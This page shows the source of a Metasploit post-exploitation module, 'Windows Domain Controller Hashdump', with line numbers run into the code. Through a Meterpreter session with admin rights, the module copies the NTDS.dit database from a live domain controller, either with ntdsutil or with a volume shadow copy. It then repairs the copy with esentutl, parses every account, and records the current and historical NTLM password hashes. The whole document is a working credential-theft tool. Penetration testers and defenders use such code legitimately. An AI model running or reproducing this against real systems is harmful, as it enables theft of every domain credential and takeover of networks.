Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/domain_hashdump.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'metasploit/framework/ntds/parser'67class MetasploitModule < Msf::Post8include Msf::Post::Windows::Accounts9include Msf::Post::Windows::Registry10include Msf::Auxiliary::Report11include Msf::Post::Windows::Priv12include Msf::Post::Windows::ShadowCopy13include Msf::Post::File14include Msf::Post::Windows::ExtAPI1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'Windows Domain Controller Hashdump',21'Description' => %q{22This module attempts to copy the NTDS.dit database from a live Domain Controller23and then parse out all of the User Accounts. It saves all of the captured password24hashes, including historical ones.25},26'License' => MSF_LICENSE,27'Author' => ['theLightCosine'],28'Platform' => [ 'win' ],29'SessionTypes' => [ 'meterpreter' ],30'Compat' => {31'Meterpreter' => {32'Commands' => %w[33extapi_ntds_parse34stdapi_fs_stat35]36}37}38)39)40deregister_options('SMBUser', 'SMBPass', 'SMBDomain')41register_options(42[43OptBool.new(44'CLEANUP', [ true, 'Automatically delete ntds backup created', true]45)46]47)48end4950def run51if preconditions_met?52print_status 'Pre-conditions met, attempting to copy NTDS.dit'53ntds_file = copy_database_file54unless ntds_file.nil?55file_stat = client.fs.file.stat(ntds_file)56print_status "NTDS File Size: #{file_stat.size} bytes"57print_status 'Repairing NTDS database after copy...'58print_status repair_ntds(ntds_file)59realm = sysinfo['Domain']60begin61ntds_parser = Metasploit::Framework::NTDS::Parser.new(client, ntds_file)62rescue Rex::Post::Meterpreter::RequestError => e63print_bad("Failed to properly parse database: #{e}")64if e.to_s.include? '1004'65print_bad('Error 1004 is likely a jet database error because the ntds database is not in the regular format')66end67end68unless ntds_parser.nil?69print_status 'Started up NTDS channel. Preparing to stream results...'70ntds_parser.each_account do |ad_account|71print_good ad_account.to_s72report_hash(ad_account.ntlm_hash.downcase, ad_account.name, realm)73ad_account.nt_history.each_with_index do |nt_hash, index|74hash_string = ad_account.lm_history[index] || Metasploit::Credential::NTLMHash::BLANK_LM_HASH75hash_string << ":#{nt_hash}"76report_hash(hash_string.downcase, ad_account.name, realm)77end78end79end80if datastore['cleanup']81print_status "Deleting backup of NTDS.dit at #{ntds_file}"82rm_f(ntds_file)83else84print_bad "#{ntds_file} requires manual cleanup"85end86end87end88end8990def copy_database_file91version = get_version_info92if version.windows_server?93if version.build_number.between?(Msf::WindowsVersion::Server2003_SP0, Msf::WindowsVersion::Server2003_SP2)94print_status 'Using Volume Shadow Copy Method'95return vss_method96elsif version.build_number >= Msf::WindowsVersion::Server2008_SP097print_status 'Using NTDSUTIL method'98return ntdsutil_method99end100end101print_error 'This version of Windows is unsupported'102return nil103end104105def ntds_exists?106return false unless ntds_location107108file_exist?("#{ntds_location}\\ntds.dit")109end110111def ntds_location112@ntds_location ||= registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\services\\NTDS\\Parameters\\', 'DSA Working Directory')113end114115def ntdsutil_method116tmp_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8) + 6))}"117command_arguments = "\"activate instance ntds\" \"ifm\" \"Create Full #{tmp_path}\" quit quit"118result = cmd_exec('ntdsutil.exe', command_arguments, 90)119if result.include? 'IFM media created successfully'120file_path = "#{tmp_path}\\Active Directory\\ntds.dit"121print_status "NTDS database copied to #{file_path}"122else123print_error 'There was an error copying the ntds.dit file!'124vprint_error result125file_path = nil126end127file_path128end129130def preconditions_met?131unless is_admin?132print_error('This module requires Admin privs to run')133return false134end135136print_status('Session has Admin privs')137138unless domain_controller?139print_error('Host does not appear to be an AD Domain Controller')140return false141end142143print_status('Session is on a Domain Controller')144145unless ntds_exists?146print_error('Could not locate ntds.dit file')147return false148end149150unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Extapi::COMMAND_ID_EXTAPI_NTDS_PARSE)151fail_with(Failure::BadConfig, 'Session does not support Meterpreter ExtAPI NTDS parser')152end153154session_compat?155end156157def repair_ntds(path = '')158arguments = "/p /o \"#{path}\""159cmd_exec('esentutl', arguments)160end161162def report_hash(ntlm_hash, username, realm)163cred_details = {164origin_type: :session,165session_id: session_db_id,166post_reference_name: refname,167private_type: :ntlm_hash,168private_data: ntlm_hash,169username: username,170realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,171realm_value: realm,172workspace_id: myworkspace_id173}174create_credential(cred_details)175end176177def session_compat?178if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86179print_error 'You are running 32-bit Meterpreter on a 64 bit system'180print_error 'Try migrating to a 64-bit process and try again'181false182else183true184end185end186187def vss_method188unless start_vss189fail_with(Failure::NoAccess, 'Unable to start VSS service')190end191location = ntds_location.dup192location.slice!(0, 3)193id = create_shadowcopy(volume.to_s)194print_status "Getting Details of ShadowCopy #{id}"195sc_details = get_sc_details(id)196sc_path = "#{sc_details['DeviceObject']}\\#{location}\\ntds.dit"197target_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8) + 6))}"198print_status "Moving ntds.dit to #{target_path}"199move_file(sc_path, target_path)200target_path201end202end203204205